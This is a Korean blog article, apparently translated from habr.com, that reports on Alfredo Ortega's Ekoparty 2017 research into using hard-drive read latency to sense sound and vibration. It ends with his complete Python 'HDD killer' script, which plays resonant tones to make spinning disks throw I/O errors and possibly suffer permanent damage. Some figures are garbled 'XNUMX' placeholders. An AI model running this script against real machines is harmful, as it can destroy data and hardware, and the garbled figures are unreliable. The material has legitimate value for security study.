HDD์—๊ฒŒ ์†Œ๋ฆฌ๋ฅผ ์ง€๋ฅด๋ฉด ์•ˆ๋˜๋Š” ์ด์œ 

HDD์—๊ฒŒ ์†Œ๋ฆฌ๋ฅผ ์ง€๋ฅด๋ฉด ์•ˆ๋˜๋Š” ์ด์œ 

๋ถ€์—๋…ธ์Šค์•„์ด๋ ˆ์Šค์—์„œ ์—ด๋ฆฐ Ekoparty 2017 ์ปดํ“จํ„ฐ ๋ณด์•ˆ ์ปจํผ๋Ÿฐ์Šค์—์„œ ์•„๋ฅดํ—จํ‹ฐ๋‚˜ ํ•ด์ปค Alfredo Ortega๋Š” ๋งˆ์ดํฌ๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ  ๊ฑด๋ฌผ์„ ์€๋ฐ€ํ•˜๊ฒŒ ๋„์ฒญํ•˜๋Š” ์‹œ์Šคํ…œ์ด๋ผ๋Š” ๋งค์šฐ ํฅ๋ฏธ๋กœ์šด ๊ฐœ๋ฐœ์„ ๋ณด์—ฌ์ฃผ์—ˆ์Šต๋‹ˆ๋‹ค. ์†Œ๋ฆฌ ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ์— ์ง์ ‘ ๊ธฐ๋ก๋จ!

HDD๋Š” ์ฃผ๋กœ ๊ณ ๊ฐ•๋„ ์ €์ฃผํŒŒ ์†Œ๋ฆฌ, ๋ฐœ์ž๊ตญ ์†Œ๋ฆฌ ๋ฐ ๊ธฐํƒ€ ์ง„๋™์„ ํฌ์ฐฉํ•ฉ๋‹ˆ๋‹ค. ์ธ๊ฐ„์˜ ๋ง์€ ์•„์ง ์ธ์‹ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉํ–ฅ์œผ๋กœ ์—ฐ๊ตฌ๋ฅผ ์ง„ํ–‰ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค (์˜ˆ๋ฅผ ๋“ค์–ด ์ž์ด๋กœ์Šค์ฝ”ํ”„๋‚˜ HDD์—์„œ ๋…น์Œ๋œ ์ €์ฃผํŒŒ ์ง„๋™์„ ํ†ตํ•œ ์Œ์„ฑ ์ธ์‹)

์†Œ๋ฆฌ๋Š” ๊ณต๊ธฐ๋‚˜ ๋‹ค๋ฅธ ๋งค์ฒด์˜ ์ง„๋™์ž…๋‹ˆ๋‹ค. ์‚ฌ๋žŒ์€ ์ง„๋™์„ ๋‚ด์ด๋กœ ์ „๋‹ฌํ•˜๋Š” ๊ณ ๋ง‰์„ ํ†ตํ•ด ์ด๋ฅผ ๊ฐ์ง€ํ•ฉ๋‹ˆ๋‹ค. ๋งˆ์ดํฌ๋Š” ๋Œ€๋žต ๊ท€์ฒ˜๋Ÿผ ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ๋„ ์ง„๋™์ด ์–‡์€ ๋ง‰์— ๋…น์Œ๋˜์–ด ์ „๊ธฐ ์ถฉ๊ฒฉ์„ ์ž๊ทนํ•ฉ๋‹ˆ๋‹ค. ๋ฌผ๋ก  ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ๋Š” ์ฃผ๋ณ€ ๊ณต๊ธฐ์˜ ๋ณ€๋™์œผ๋กœ ์ธํ•ด ๋ฏธ์„ธํ•œ ์ง„๋™์„ ๋ฐ›๊ธฐ๋„ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” HDD์˜ ๊ธฐ์ˆ ์  ํŠน์„ฑ์„ ํ†ตํ•ด์„œ๋„ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ์ œ์กฐ์—…์ฒด๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ํ—ˆ์šฉ๋˜๋Š” ์ตœ๋Œ€ ์ง„๋™ ์ˆ˜์ค€์„ ํ‘œ์‹œํ•˜๋ฉฐ ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ ์ž์ฒด๋Š” ์ข…์ข… ์ด๋ฅผ ๊ณ ๋ฌด ๋˜๋Š” ๊ธฐํƒ€ ์ ˆ์—ฐ ์žฌ๋ฃŒ๋กœ ๋งŒ๋“  ๋ฐฉ์ง„ ์šฉ๊ธฐ์— ๋„ฃ์œผ๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ์ด๊ฒƒ์œผ๋กœ HDD๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์†Œ๋ฆฌ๋ฅผ ๋…น์Œํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒฐ๋ก ์„ ๋‚ด๋ฆฌ๊ธฐ ์‰ฝ์Šต๋‹ˆ๋‹ค. ๋‚จ์€ ๊ฒƒ์€ ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋‚ด๋Š” ๊ฒƒ๋ฟ์ž…๋‹ˆ๋‹ค.

Alfredo Ortega๋Š” ์‚ฌ์ด๋“œ ์ฑ„๋„ ๊ณต๊ฒฉ์˜ ๋…ํŠนํ•œ ๋ฒ„์ „, ์ฆ‰ ์‹œ๊ฐ„ ๊ณต๊ฒฉ์„ ์ œ์•ˆํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ณต๊ฒฉ์€ ์ฃผ์–ด์ง„ ์ž…๋ ฅ ๋ฐ์ดํ„ฐ์— ๋”ฐ๋ผ ์žฅ์น˜์—์„œ ์„œ๋กœ ๋‹ค๋ฅธ ์ž‘์—…์ด ์„œ๋กœ ๋‹ค๋ฅธ ์‹œ๊ฐ„์— ์ˆ˜ํ–‰๋œ๋‹ค๋Š” ๊ฐ€์ •์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ "์ž…๋ ฅ ๋ฐ์ดํ„ฐ"๋Š” ์ฝ๊ธฐ ํ—ค๋“œ์™€ HDD ํ”Œ๋ž˜ํ„ฐ์˜ ์ง„๋™์ด๋ฉฐ, ์ด๋Š” ํ™˜๊ฒฝ์˜ ์ง„๋™, ์ฆ‰ ์†Œ๋ฆฌ์™€ ๊ด€๋ จ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ณ„์‚ฐ ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜๊ณ  ๋ฐ์ดํ„ฐ์˜ ํ†ต๊ณ„์  ๋ถ„์„์„ ์ˆ˜ํ–‰ํ•จ์œผ๋กœ์จ ํ—ค๋“œ/ํ”Œ๋ž˜ํ„ฐ์˜ ์ง„๋™๊ณผ ๊ทธ์— ๋”ฐ๋ฅธ ๋งค์ฒด์˜ ์ง„๋™์„ ์ธก์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐ์ดํ„ฐ ์ฝ๊ธฐ ์ง€์—ฐ ์‹œ๊ฐ„์ด ๊ธธ์–ด์งˆ์ˆ˜๋ก HDD์˜ ์ง„๋™์ด ๊ฐ•ํ•ด์ง€๊ธฐ ๋•Œ๋ฌธ์— ์†Œ๋ฆฌ๋„ ์ปค์ง‘๋‹ˆ๋‹ค.

ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ ์ง„๋™์„ ์ธก์ •ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋ฌด์—‡์ž…๋‹ˆ๊นŒ? ๋งค์šฐ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค. ์‹œ์Šคํ…œ ํ˜ธ์ถœ๋งŒ ์‹คํ–‰ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. read () - ์™„๋ฃŒํ•˜๋Š” ๋ฐ ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„์„ ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค. ์ตœ์‹  ์šด์˜ ์ฒด์ œ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋‚˜๋…ธ์ดˆ ์ •ํ™•๋„๋กœ ์‹œ์Šคํ…œ ํ˜ธ์ถœ ํƒ€์ด๋ฐ์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์„นํ„ฐ์—์„œ ์ •๋ณด๋ฅผ ์ฝ๋Š” ์†๋„๋Š” ํ—ค๋“œ์™€ ํ”Œ๋ž˜ํ„ฐ์˜ ์œ„์น˜์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง€๋ฉฐ ์ด๋Š” HDD ์ผ€์ด์Šค์˜ ์ง„๋™๊ณผ ๊ด€๋ จ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๊ฒŒ ๋‹ค์•ผ.

๊ฐ„๋‹จํ•œ Kscope ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ†ต๊ณ„ ๋ถ„์„์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋“ค์ด ๋งํ–ˆ๋“ฏ์ด ๋…์ฐฝ์ ์ธ ๋ชจ๋“  ๊ฒƒ์€ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค.

HDD์—๊ฒŒ ์†Œ๋ฆฌ๋ฅผ ์ง€๋ฅด๋ฉด ์•ˆ๋˜๋Š” ์ด์œ 
Kscope ์œ ํ‹ธ๋ฆฌํ‹ฐ(stat() syscall)

Kscope๋Š” ์‹œ์Šคํ…œ ํ˜ธ์ถœ ์‹คํ–‰ ์‹œ๊ฐ„์˜ ์ž‘์€ ์ฐจ์ด๋ฅผ ์‹œ๊ฐํ™”ํ•˜๋Š” ์ž‘์€ ์œ ํ‹ธ๋ฆฌํ‹ฐ์ž…๋‹ˆ๋‹ค. ์›์ฒœGitHub์— ๊ฒŒ์‹œ๋จ.

๋ณ„๋„์˜ ์ €์žฅ์†Œ์— HDD ์‹œ๊ฐ„ ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ์— ๋Œ€ํ•œ ์‹œ๊ฐ„ ๊ณต๊ฒฉ์„ ์œ„ํ•ด ๊ตฌ์„ฑ๋œ ์œ ํ‹ธ๋ฆฌํ‹ฐ ๋ฒ„์ „์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ฆ‰, ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ๋ถ„์„ํ•˜๋„๋ก ๊ตฌ์„ฑ๋œ ์œ ํ‹ธ๋ฆฌํ‹ฐ ๋ฒ„์ „์ด ์žˆ์Šต๋‹ˆ๋‹ค. read ().

HDD๋ฅผ ์ด์šฉํ•œ ์‚ฌ์šด๋“œ ๋…น์Œ ์‹œ์—ฐ, Kscope ์œ ํ‹ธ๋ฆฌํ‹ฐ ์ž‘๋™


๋ฌผ๋ก  ์ด๋Ÿฐ ์‹์œผ๋กœ ์Œ์„ฑ์„ ์ดํ•ดํ•  ์ˆ˜๋Š” ์—†์ง€๋งŒ HDD๋Š” ์ง„๋™ ์„ผ์„œ๋กœ ๋งค์šฐ ์ ํ•ฉํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๋”ฑ๋”ฑํ•œ ์‹ ๋ฐœ์„ ์‹ ๊ฑฐ๋‚˜ ๋งจ๋ฐœ๋กœ ์‚ฌ๋žŒ์ด ์ปดํ“จํ„ฐ๋ฅผ ๊ฐ€์ง€๊ณ  ๋ฐฉ์— ๋“ค์–ด๊ฐ„ ๊ฒฝ์šฐ ๋“ฑ๋กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. (์•„๋งˆ๋„ ๊ณต๊ฒฉ์ž๊ฐ€ ๋ถ€๋“œ๋Ÿฌ์šด ์šด๋™ํ™”๋ฅผ ์‹ ๊ฑฐ๋‚˜ ๋ฐ”๋‹ฅ์— ๋‘๊บผ์šด ์นดํŽซ์ด ๊น”๋ ค ์žˆ์œผ๋ฉด HDD๋Š” ์ง„๋™์„ ๋“ฑ๋กํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.) ์ด๋Š” ํ™•์ธํ•ด ๋ณผ ๊ฐ€์น˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค). ์ปดํ“จํ„ฐ๋Š” ๊นจ์ง„ ์œ ๋ฆฌ๋‚˜ ๊ธฐํƒ€ ์‚ฌ๊ณ ๋ฅผ ๊ฐ•ํ•œ ์†Œ๋ฆฌ ๊ฐ•๋„๋กœ ๋“ฑ๋กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฆ‰, ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ๋Š” ์ผ์ข…์˜ ๋ฌด๋‹จ ์นจ์ž… ํƒ์ง€ ์‹œ์Šคํ…œ ์—ญํ• ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

HDD ํ‚ฌ๋Ÿฌ

๊ทธ๋Ÿฐ๋ฐ ๋น„์Šทํ•œ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ๋งŒ HDD์—์„œ ์ง„๋™์„ ์ œ๊ฑฐํ•˜์ง€ ์•Š๊ณ  ๋ฐ˜๋Œ€๋กœ HDD์— ๊ณต๊ธ‰๋˜๋Š” ์ง„๋™์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. HDD ์ฃผํŒŒ์ˆ˜์™€ ๊ณต๋ช…ํ•˜๋Š” ์ฃผํŒŒ์ˆ˜๋กœ ์Šคํ”ผ์ปค์—์„œ ์†Œ๋ฆฌ๋ฅผ ์žฌ์ƒํ•˜๋ฉด ์‹œ์Šคํ…œ์€ ๊ณง I/O ์˜ค๋ฅ˜๋กœ ์žฅ์น˜๋ฅผ ๋•๋‹ˆ๋‹ค(Linux ์ปค๋„์€ 120์ดˆ ํ›„์— HDD๋ฅผ ์™„์ „ํžˆ ๋•๋‹ˆ๋‹ค). ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ ์ž์ฒด๊ฐ€ ๋ณต๊ตฌํ•  ์ˆ˜ ์—†๋Š” ์†์ƒ์„ ์ž…์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

HDD์—๊ฒŒ ์†Œ๋ฆฌ๋ฅผ ์ง€๋ฅด๋ฉด ์•ˆ๋˜๋Š” ์ด์œ 
Linux ์ปค๋„์€ Edifier r120u USB ์Šคํ”ผ์ปค์˜ ์Šคํ”ผ์ปค๋ฅผ ํ†ตํ•ด ๊ณต์ง„ ์ฃผํŒŒ์ˆ˜์˜ ์‚ฌ์šด๋“œ๋ฅผ ์ „๋‹ฌํ•œ ํ›„ 19์ดˆ ํ›„์— ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ๋ฅผ ๊ป์Šต๋‹ˆ๋‹ค. ์Šคํ”ผ์ปค๋Š” ์•ฝ 100/20 ์ „๋ ฅ(XNUMXmW ๋ฏธ๋งŒ)์œผ๋กœ ์ผœ์ง€๋ฉฐ HDD์—์„œ XNUMXcm ๋–จ์–ด์ง„ ๊ณณ์— ์œ„์น˜ํ•˜๋ฉฐ ์ง„๋™์„ ๊ฐ•ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ํ…Œ์ด๋ธ”์„ ๊ฒจ๋ƒฅํ•ฉ๋‹ˆ๋‹ค. ํ”„๋ ˆ์ž„: ๋น„๋””์˜ค ํด๋ฆฝ HDD ํ‚ฌ๋Ÿฌ ์‹œ์—ฐ๊ณผ ํ•จ๊ป˜

HDD์— ๋Œ€ํ•œ ์ด๋Ÿฌํ•œ "๊ณต๊ฒฉ"์ด ์ผ์ƒ ์ƒํ™œ์—์„œ ์™„์ „ํžˆ ์šฐ์—ฐํžˆ ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด ๊ถ๊ธˆํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, 2016๋…„ 10์›” ING ์€ํ–‰ ๋ฐ์ดํ„ฐ์„ผํ„ฐ๋Š” ์†Œ๋ฐฉ ํ›ˆ๋ จ ์ดํ›„ XNUMX์‹œ๊ฐ„ ๋™์•ˆ ์šด์˜์„ ์ค‘๋‹จํ•ด์•ผ ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ˆ˜์‹ญ ๊ฐœ์˜ ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ๊ฐ€ ๊ณ ์žฅ๋‚ฌ์Šต๋‹ˆ๋‹ค. ๊ณ ์••์˜ ์‹ค๋ฆฐ๋”์—์„œ ๋ถˆํ™œ์„ฑ ๊ฐ€์Šค๊ฐ€ ๋ฐฉ์ถœ๋˜๋Š” ํฐ ์†Œ๋ฆฌ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์†Œ๋ฆฌ๋Š” ๋งค์šฐ ์ปธ์ง€๋งŒ(130dB ์ด์ƒ) ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ์— ์†Œ๋ฆฌ๋ฅผ ์ง€๋ฅผ ์ˆ˜๋„ ์—†์Šต๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด HDD ์•ก์„ธ์Šค ์ง€์—ฐ์ด ๋Š˜์–ด๋‚ฉ๋‹ˆ๋‹ค.

๋ฐ์ดํ„ฐ ์„ผํ„ฐ์˜ ํ•˜๋“œ ๋“œ๋ผ์ด๋ธŒ์—์„œ ์ธ๊ฐ„์ด ๋น„๋ช…์„ ์ง€๋ฅด๋Š” ๋ชจ์Šต. ์ง€์—ฐ ์‹œ๊ฐ„ ์ธก์ •


๊ณต๋ช…ํ•˜๋Š” ์†Œ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด Alfredo Ortega๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ Python ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ–ˆ์Šต๋‹ˆ๋‹ค. HDD ํ‚ฌ๋Ÿฌ (๋น„๋””์˜ค ์‹œ์—ฐ).

HDD ํ‚ฌ๋Ÿฌ ์Šคํฌ๋ฆฝํŠธ ์šฉ๋Ÿ‰์ด ๋งค์šฐ ์ž‘์œผ๋ฏ€๋กœ ์—ฌ๊ธฐ์— ์ „์ฒด ๋‚ด์šฉ์„ ๊ฒŒ์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

์ถœ์ฒ˜ : habr.com

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€